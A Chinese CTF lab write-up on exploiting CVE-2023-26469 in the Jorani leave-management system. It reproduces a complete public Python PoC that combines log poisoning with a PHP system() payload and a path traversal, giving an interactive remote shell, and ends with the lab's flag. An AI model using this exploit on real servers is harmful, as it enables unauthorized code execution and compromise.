春秋云镜 CVE-2023-26469

靶标介绍:

Jorani是一款开源的员工考勤和休假管理系统,适用于中小型企业和全球化组织,它简化了员工工时记录、休假请求和审批流程,并提供了多语言支持以满足不同地区的需求。在 Jorani 1.0.0 中,攻击者可以利用路径遍历来访问文件并在服务器上执行代码。

访问靶场链接

查询CVE-2023-26469,得知github上有个开源的EXP

https://github.com/Orange-Cyberdefense/CVE-repository/blob/master/PoCs/CVE_Jorani.py

下载CVE_Jorani.py

"""
vulnerability covered by CVE-2023-26469
"""
import readline
import requests
import datetime
import sys
import re
import base64
import random
import string

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

msg = lambda x,y="\n":print(f'\x1b[92m[+]\x1b[0m {x}', end=y)
err = lambda x,y="\n":print(f'\x1b[91m[x]\x1b[0m {x}', end=y)
log = lambda x,y="\n":print(f'\x1b[93m[?]\x1b[0m {x}', end=y)

CSRF_PATTERN = re.compile('<input type="hidden" name="csrf_test_jorani" value="(.*?)"')
CMD_PATTERN = re.compile('---------(.*?)---------', re.S)

URLS = {
	'login' : '/session/login',
	'view'	: '/pages/view/',
}

alphabet = string.ascii_uppercase
HEADER_NAME = ''.join(random.choice(alphabet) for i in range(12))

BypassRedirect = {
	'X-REQUESTED-WITH'	: 'XMLHttpRequest',
	HEADER_NAME		: ""
}

INPUT = "\x1b[92mjrjgjk\x1b[0m@\x1b[41mjorani\x1b[0m(PSEUDO-TERM)\n$ " # The input used for the pseudo term

u = lambda x,y: x + URLS[y]

POISON_PAYLOAD		= "<?php if(isset($_SERVER['HTTP_" + HEADER_NAME + "'])){system(base64_decode($_SERVER['HTTP_" + HEADER_NAME + "']));} ?>"
PATH_TRAV_PAYLOAD	= "../../application/logs"

if __name__ == '__main__':
	print("""
	/!\\ Do not use this if you are not authorized to /!\\
		""")
	log("POC made by @jrjgjk (Guilhem RIOUX)", "\n\n")

	if(len(sys.argv) == 1):
		err(f"Usage: {sys.argv[0]} <url>")
		exit(0)

	log(f"Header used for exploit: {HEADER_NAME}")	
	

	t = sys.argv[1]

	s = requests.Session()
	log("Requesting session cookie")
	res = s.get(u(t,"login"), verify = False)

	C = s.cookies.get_dict()

	Date = datetime.date.today()
	log_file_name = f"log-{Date.year}-{str(Date.month).zfill(2)}-{str(Date.day).zfill(2)}"

	csrf_token = re.findall(CSRF_PATTERN, res.text)[0] 
	log(f"Poisonning log file with payload: '{POISON_PAYLOAD}'")
	log(f"Set path traversal to '{PATH_TRAV_PAYLOAD}'")
	msg(f"Recoveredd CSRF Token: {csrf_token}")

	data = {
		"csrf_test_jorani"	: csrf_token,
		"last_page"			: "session/login",
		"language"			: PATH_TRAV_PAYLOAD,
		"login"				: POISON_PAYLOAD,
		"CipheredValue"		: "DummyPassword"
	}

	s.post(u(t,"login"), data=data)

	log(f"Accessing log file: {log_file_name}")

	exp_page = t + URLS['view'] + log_file_name

	### Shell
	cmd = ""
	while True:
		cmd = input(INPUT)
		if(cmd in ['x', 'exit', 'quit']):
			break
		elif(cmd == ""):
			continue
		else:
			BypassRedirect[HEADER_NAME] = base64.b64encode(b"echo ---------;" + cmd.encode() + b" 2>&1;echo ---------;")
			res = s.get(exp_page, headers=BypassRedirect)
			cmdRes = re.findall(CMD_PATTERN, res.text)
			try:
				print(cmdRes[0])
			except:
				print(res.text)
				err("Wow, there was a problem, are you sure of the URL ??")
				err('exiting..')
				exit(0)

使用python运行CVE_Jorani.py,输入cat /flag得到本题flag.

flag:flag{239e0dd5-8b76-410a-9299-41d5beeae53e}

相关推荐

最近更新

  1. Prompt Engineering 探险

    2024-04-01 17:50:01       1 阅读
  2. 机器学习之神经网络

    2024-04-01 17:50:01       1 阅读
  3. Lianwei 安全周报|2024.07.09

    2024-04-01 17:50:01       1 阅读
  4. 每天一个数据分析题(四百一十八)- 相关分析

    2024-04-01 17:50:01       1 阅读
  5. 计算机网络面试常见题目(一)

    2024-04-01 17:50:01       1 阅读
  6. vue配置sql规则

    2024-04-01 17:50:01       1 阅读
  7. ios 企业签名证书购买_iOS苹果企业签名须知

    2024-04-01 17:50:01       1 阅读
  8. android 使用系统工具bootchart统计开机时长

    2024-04-01 17:50:01       1 阅读
  9. 【工具分享】FOFA——网络空间测绘搜索引擎

    2024-04-01 17:50:01       1 阅读

热门阅读

  1. redis分布式锁-----基于redisson实现分布式锁

    2024-04-01 17:50:01       19 阅读
  2. Vue的生命周期总结

    2024-04-01 17:50:01       23 阅读
  3. 单例设计模式(1)

    2024-04-01 17:50:01       21 阅读
  4. 第十四届省赛大学B组(C/C++)接龙数列

    2024-04-01 17:50:01       23 阅读
  5. bash工具-dir_util.sh

    2024-04-01 17:50:01       22 阅读
  6. python 三层架构思想写代码。

    2024-04-01 17:50:01       21 阅读
  7. python 移位运算符

    2024-04-01 17:50:01       21 阅读
  8. TTL值(Time-To-Live)简介

    2024-04-01 17:50:01       19 阅读
  9. NoSQL(非关系型数据库)之Redis

    2024-04-01 17:50:01       39 阅读
  10. 编程练习(python)

    2024-04-01 17:50:01       17 阅读
  11. 大模型之路1:趟一条小路

    2024-04-01 17:50:01       22 阅读
  12. 关于python中常用命令(持续更新中)

    2024-04-01 17:50:01       25 阅读